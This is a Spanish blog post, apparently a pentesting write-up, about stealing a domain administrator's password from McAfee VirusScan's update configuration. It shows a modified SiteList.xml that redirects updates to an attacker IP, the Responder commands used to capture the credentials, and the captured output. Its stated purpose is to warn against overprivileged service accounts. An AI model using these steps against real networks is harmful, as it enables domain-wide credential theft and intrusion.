Obteniendo privilegios de administrador de dominio con McAfee... o la recurrente manía de usar cuentas con demasiados permisos

El título de esta entrada es tan largo como el tiempo que llevo encontrándome el uso de cuentas con demasiados privilegios para actualizar algunos programas. En serio que les agradezco que faciliten tanto la vida a la hora de hacer un pentest pero NO es necesario usar usuarios que pertenezcan al grupo de administradores de dominio para distribuir software en un Directorio Activo.

La consecuencia de hacerlo es que cualquier fallo puede derivar en el compromiso de todos los equipos Windows de una red local.


Hace unos días vimos un ejemplo cuando Toufik Airane publicó en Github cómo capturar las credenciales usadas por un agente McAfee VirusScan Enterprise 8.8 a la hora de intentar actualizarse contra los repositorios definidos en la ePO.
 
Concretamente los repositorios están definidos en "C:\ProgramData\McAfee\Common Framework\SiteList.xml", donde encontraremos los servidores para conectarse por HTTP o SMB (UNC) además de los nombres de usuario y las credenciales cifradas:

<?xml version="1.0" encoding="UTF-8"?>
<ns:SiteLists xmlns:ns="naSiteList" GlobalVersion="20150327073827" LocalVersion="Fri, 9 Oct 2013 09:23:23 UTC" Type="Client">
<Policies><Setting name="OverwriteClientSites">1</Setting><Setting name="nMaxHopLimit">1</Setting>
<Setting name="nMaxPingTimeout">5</Setting><Setting name="uiFindNearestMethod">2</Setting></Policies>

<SiteList Default="1" Name="SomeGUID">

<SpipeSite Type="master" Name="REPO1" Order="2" Enabled="1" Local="0" Server="servidor.dominio:8005" ServerName="servidor:8005" ServerIP="192.168.1.200:8005" Version="4.0.0"><RelativePath>Software</RelativePath><UseAuth>0</UseAuth><UserName></UserName><Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password></SpipeSite>

<UNCSite Type="repository" Name="REPO2" Order="1" Server="servidor" Enabled="1" Local="0"><ShareName>Mad</ShareName><RelativePath></RelativePath><UseLoggedonUserAccount>0</UseLoggedonUserAccount><DomainName>*DOMINIO*</DomainName><UserName>usuario_epo</UserName><Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password></UNCSite>

<HttpSite Type="fallback" Name="REPO3" Order="3" Enabled="1" Local="0" Server="update.nai.com:80"><RelativePath>Products/CommonUpdater</RelativePath><UseAuth>0</UseAuth><UserName>Anónimo</UserName><Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password></HttpSite>

</SiteList>
</ns:SiteLists>

Como véis para poder acceder al repositorio "REPO2" se utiliza el usuario 'usuario_epo' el cual, como podéis comprobar a continuación, es además miembro del grupo '*Domain Admins':

PS C:\Users\vmotos> net user usuario_epo /domain
Se procesará la solicitud en un controlador de dominio del dominio *DOMINIO*.

Nombre de usuario                          usuario_epo
Nombre completo                            usuario_epo
Comentario
Comentario del usuario
Código de país                             000 (Predeterminado por el equipo)
Cuenta activa                              Sí
La cuenta expira                           Nunca

Ultimo cambio de contraseña                16/03/2014 7:53:12
La contraseña expira                       Nunca
Cambio de contraseña                       16/03/2014 7:53:12
Contraseña requerida                       Sí
El usuario puede cambiar la contraseña     Sí

Estaciones de trabajo autorizadas          Todas
Script de inicio de sesión
Perfil de usuario
Directorio principal
Ultima sesión iniciada                     05/02/2016 18:12:03

Horas de inicio de sesión autorizadas      Todas

Miembros del grupo local
Miembros del grupo global                  *Domain Admins
                                           *Domain Users
Se ha completado el comando correctamente.

Como podéis imaginar, a partir de este momento ese usuario se convierte en la golosina más apetecible para cualquier atacante, que sólo tiene que modificar el archivo "SiteList.xml" (en un PC nuevo si la consola está protegida con contraseña) para que apunte a una IP maliciosa que estará escuchando ansiosamente la "llamada" con las valiosas credenciales:
<?xml version="1.0" encoding="UTF-8"?>
<ns:SiteLists xmlns:ns="naSiteList" Type="Client">
<SiteList Default="1" Name="SomeGUID">

<HttpSite Type="fallback" Name="PWNED!" Order="1" Enabled="1" Local="0" Server="192.168.1.32:80">
<RelativePath>LICORNE</RelativePath><UseAuth>1</UseAuth>
<UserName>usuario_epo</UserName>
<Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password>
</HttpSite>

</SiteList></ns:SiteLists>
 
Podéis comprobar si tenéis acceso a la consola que la lista de repositorios de AutoUpdate ha sido modificada:

 
Ahora sólo falta levantar el servidor falso que recoga la contraseña. Para este menester se usará Responder que ya vimos en el blog hace algún tiempo:

git clone https://github.com/SpiderLabs/Responder.git
cd Responder/
python Responder.py -I eth0 --basic


  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 2.3

  Original work by Laurent Gaffie (lgaffie@trustwave.com)
  To kill this script hit CRTL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [ON]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [ON]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]

[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [192.168.1.32]
    Challenge set              [1122334455667788]


[+] Listening for events...
Por último forzamos la actualización...


Y ya tenemos la contraseña de todo un señor administrador de dominio:
[*] [LLMNR]  Poisoned answer sent to 192.168.1.41 for name 192.168.1.32

[HTTP] Basic Client   : 192.168.1.41
[HTTP] Basic Username : usuario_epo
[HTTP] Basic Password : *\contraseña/*


Fuente: https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md

Actualización: más fácil aún. Si tienes acceso al fichero SiteList.xml puedes descifrar la contraseña directamente con: Password decryption tool for the McAfee SiteList.xml file. 

Comentarios

  1. Interesante tambien para un insider, que quiera obtener credenciales.
    En una oficina estuve mirando el archivo (la versión de McAfee Enterprise es la 8.8.0.1385) y dentro del archivo si bien está el tag , no contiene nada :(

    ResponderEliminar

Publicar un comentario